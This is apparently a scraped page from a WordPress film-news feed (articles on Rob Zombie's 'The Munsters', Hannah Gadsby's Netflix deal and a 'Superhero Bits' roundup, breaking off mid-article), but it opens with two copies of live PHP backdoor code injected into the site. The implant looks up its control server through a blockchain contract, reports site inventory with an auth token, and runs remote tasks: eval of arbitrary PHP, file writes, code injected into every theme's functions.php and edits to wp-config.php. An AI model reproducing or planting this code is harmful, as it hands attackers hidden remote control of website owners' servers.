// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Films – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 12:08:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Films – Brief News https://briefnews.eu 32 32 How New The Munsters Actor Jeff Daniel Phillips Honors The Great Fred Gwynne [Exclusive] https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/ https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/#respond Tue, 27 Sep 2022 12:08:24 +0000 https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/

“The Munsters” is one of those old-school ’60s sitcoms that couch potatoes of a certain age watched and rewatched throughout their formative years. We absorbed these shows’ quirks and themes and catchphrases so completely that the merest of references can trigger a flood of childhood memories. They weren’t the acme of broadcast art, but they filled our afternoons with machine-manufactured laughs, and we loved them for it.

So when a studio goes chasing nostalgia bucks by transferring a popular TV show to the big screen, they’re best off playing it safe and emulating the vibe of the original. Barry Sonnenfeld’s “The Addams Family” movies did this to perfection, and were handsomely rewarded at the box office. On the other hand, Blumhouse’s “Fantasy Island” transformed the celebrities-of-the-week formula that made the ABC series a cheesy guilty pleasure into a charmless horror flick, and audiences loathed it.

Rob Zombie’s “The Munsters,” which premieres today on Netflix, appears to be a blend of new and old. Herman (Jeff Daniel Phillips), Lily (Sheri Moon Zombie), and Grandpa aka The Count (Daniel Roebuck) look very much like they did on television over 50 years ago, but instead of portraying them as a settled family unit, Zombie, who flashed his super-fan credentials back in 1998 by recording a song dedicated to Grandpa’s legendary hot rod, has opted to tell an origin story of sorts. For instance, we now know that Herman’s lumbering, reanimated body is powered by the brain of a stand-up comic. How did this impact the actors’ interpretations of these beloved roles?

Herman Munster, Teenager

In an interview with /Film’s B.J. Colangelo, Phillips explained that his Herman is quite unlike Fred Gwynne’s version of the character in that he’s come “right off the slab.” They just created the guy by Dr. Wolfgang,” said Phillips. “So he’s trying to figure it all out. His brain’s trying to get this whole body to move. I use this analogy, it’s like his brain’s used to driving a Ford Fiesta, and now he’s in a GTO, and he’s just trying to make it all work.”

In other words, Phillips’ Herman is a work-in-progress of sorts, not unlike a kid hitting puberty:

“He’s very cocky. He’s almost like a teenager. That’s how I approached it, and wide-eyed. Where Fred Gwynne was like, he had this charm and yeah, he was childlike too, but I was just trying to get somebody who was trying to find their voice. And that’s why his voice would crack and it was a little higher.”

While Phillips admits that he’s not an impressionist, long-time fans can take heart that he learned how to deliver Herman’s trademark laugh. Will he also throw tantrums like Gwynne’s big, bratty lug? We’ll find out soon enough!

Read this next: Horror Movies That Make Us Root For The Villain

The post How New The Munsters Actor Jeff Daniel Phillips Honors the Great Fred Gwynne [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/feed/ 0 Hannah Gadsby Has Signed A New Deal With Netflix To Hopefully Change The ‘Notoriously Transphobic Industry’ https://briefnews.eu/hannah-gadsby-has-signed-a-new-deal-with-netflix-to-hopefully-change-the-notoriously-transphobic-industry/ https://briefnews.eu/hannah-gadsby-has-signed-a-new-deal-with-netflix-to-hopefully-change-the-notoriously-transphobic-industry/#respond Tue, 27 Sep 2022 03:39:24 +0000 https://briefnews.eu/hannah-gadsby-has-signed-a-new-deal-with-netflix-to-hopefully-change-the-notoriously-transphobic-industry/

Hannah Gadsby just inked a massive deal with Netflix, the streaming service the Emmy award-winning “Nanette” and “Douglas” comic once referred to as an “amoral algorithm cult.” Gadsby, a queer comedian who famously identifies “as tired,” is returning to Netflix with a multiple-title deal including a third stand-up special and a multiple-comic special that will showcase gender-diverse comedians. The news comes roughly a year after Gadsby publicly called out Netflix co-CEO Ted Sarandos for defending Dave Chappelle’s ridiculously transphobic special, “The Closer,” and for weaponizing the accessibility of their specials on the platform as proof that the company wasn’t transphobic. Gadsby took to Instagram with a scathing critique, as Sarandos unintentionally directed a ton of bigoted transphobes to Gadsby’s social media with his words.

“Hey Ted Sarandos! Just a quick note to let you know that I would prefer if you didn’t drag my name into your mess. Now I have to deal with even more of the hate and anger that Dave Chappelle’s fans like to unleash on me every time Dave gets 20 million dollars to process his emotionally stunted partial worldview. You didn’t pay me nearly enough to deal with the real-world consequences of the hate speech dog whistling you refuse to acknowledge, Ted. F*** you and your amoral algorithm cult.”

Gadsby’s newest stand-up set, “Body of Work” has been making the rounds this year while they’ve been on tour, with the Netflix special recording taking place at the Sydney Opera House. The set has been described as “deeply personal,” which is saying something considering how vulnerable Gadsby presented themselves in their previous two specials.

Enacting Change From The Inside Out

“In an effort to further open a door that I had to fight to get through myself, I will curate and host a line-up show on Netflix featuring six new, gender-diverse comedians,” said Gadsby In the official Netflix announcement for the deal. “In a notoriously transphobic industry, I am looking to broaden the scope of opportunities for genderqueer performers from around the globe, as well as expand the diversity of offerings to audiences on one of comedy’s biggest platforms.” The special is paired with a mentorship initiative to help boost the skills and visibility of comedians from marginalized gender identities, with the sets due to be recorded sometime in 2023. “This will be a chance for the world to hear these voices for the first, but definitely not the last, time,” they said.

Netflix is, regardless of its questionable ethics, still the biggest streaming platform in existence. Gadsby was right to call out the corporation for their excusal of Chappelle’s blatant transphobia and was doubly right when noting the company does not pay them enough to deal with the fallout of those actions. There are definitely those that see returning to the streamer as hypocritical, but it’s clear this is Gadsby’s way of making the company pay for putting them in such an unfair position in 2020. 

Quite honestly? GOOD FOR THEM. Insult the company to their face, take home a fat check, amplify yourself, and get the chance to amplify even more marginalized comedians? That’s not hypocrisy, that’s breaking the game from the inside out.

Read this next: The 50 Best Documentaries You Can Watch On Netflix Right Now (July 2022)

The post Hannah Gadsby Has Signed A New Deal With Netflix To Hopefully Change The ‘Notoriously Transphobic Industry’ appeared first on /Film.

]]> https://briefnews.eu/hannah-gadsby-has-signed-a-new-deal-with-netflix-to-hopefully-change-the-notoriously-transphobic-industry/feed/ 0 Superhero Bits: John Cena Is A Real Superhero, Dardevil’s Place In The MCU & More https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/ https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/#respond Mon, 26 Sep 2022 23:24:54 +0000 https://briefnews.eu/superhero-bits-john-cena-is-a-real-superhero-dardevils-place-in-the-mcu-more/

(Superhero Bits is a collection of stories, updates, and videos about anything and everything inspired by the comics of Marvel, DC, and more. For comic book movies, TV shows, merchandise, events, and whatever catches our eye, this is the place to find anything that falls through the cracks.)

In this edition of Superhero Bits:

  • Early box office tracking for “Black Adam.”

  • New insight on how Daredevil fits into the MCU.

  • John Cena achieves real-life superheroic status.

  • Todd McFarlane on a Spider-Man/Spawn crossover.

  • All that and more!

Will Todd McFarlane Ever Make A Spawn And Spider-Man Crossover?

We recently learned that a brand new “Spawn” and “Batman” crossover series is coming later this year, with Todd McFarlane partnering with Greg Capullo on the book. But what about Spider-Man? Will McFarlane make his most legendary creation crossover with the web-slinger in the pages of Marvel Comics? In speaking with Bleeding Cool on that very topic, McFarlane made it seem unlikely, given his limited amount of time.

“On Batman/Spawn, Greg is doing the heavy lifting… it would be an abundance of time on my part. I would just have to find it and I just I don’t have that… so my guess is I’ll probably either go to my grave never doing it, or I’ll hold out until I have time.”

In short, don’t hold your breath on that one, comic book fans.

The CW Releases A New Stargirl Season 3 Trailer

We are currently right in the heart of “Stargirl” season 3 on The CW and, while the network typically releases promos each week for the individual new episodes, they have released a new trailer covering the rest of the season. The video gives us a glimpse at what’s to come for the hero and the Justice Society in the rest of the season. Will it be her last though? That still remains to be seen, but let’s not get too ahead of ourselves in that department.

Nikolas Draper-Ivey Says To Be Patient About The Static Shock Movie

What’s going on with that “Static Shock” movie? Has it been canceled like “Batgirl”? Is it going to go to theaters instead like “Blue Beetle”? The brass at Warner Bros. have been very quiet but Nikolas Draper-Ivey, who has written the character for DC Comics, is asking fans to exercise some patience on the matter. “Stop speculating about the Static movie. Don’t worry about those articles and be patient. I will not elaborate on this any further,” Draper-Ivey said on Twitter. So, it seems any speculation in the media right now may be unwarranted. This does not sound like a message one shares if the movie were in danger. For now, patience it is.

Marvel Is Partnering With Arizona Iced Tea For A Super New Drink

While the companies are keeping tight-lipped right now, the above teaser from the Arizona Iced Tea social media accounts indicates that they have partnered with Marvel for a brand new beverage. But not just any beverage! One capable of superheroic levels of thirst-quenching. What is Super LXR Hero Hydration? When will we be able to guzzle some down for ourselves? Details are limited currently but stay tuned, fans of delicious drinks and superheroes.

Black Adam Is Tracking For A Solid Debut At The Box Office

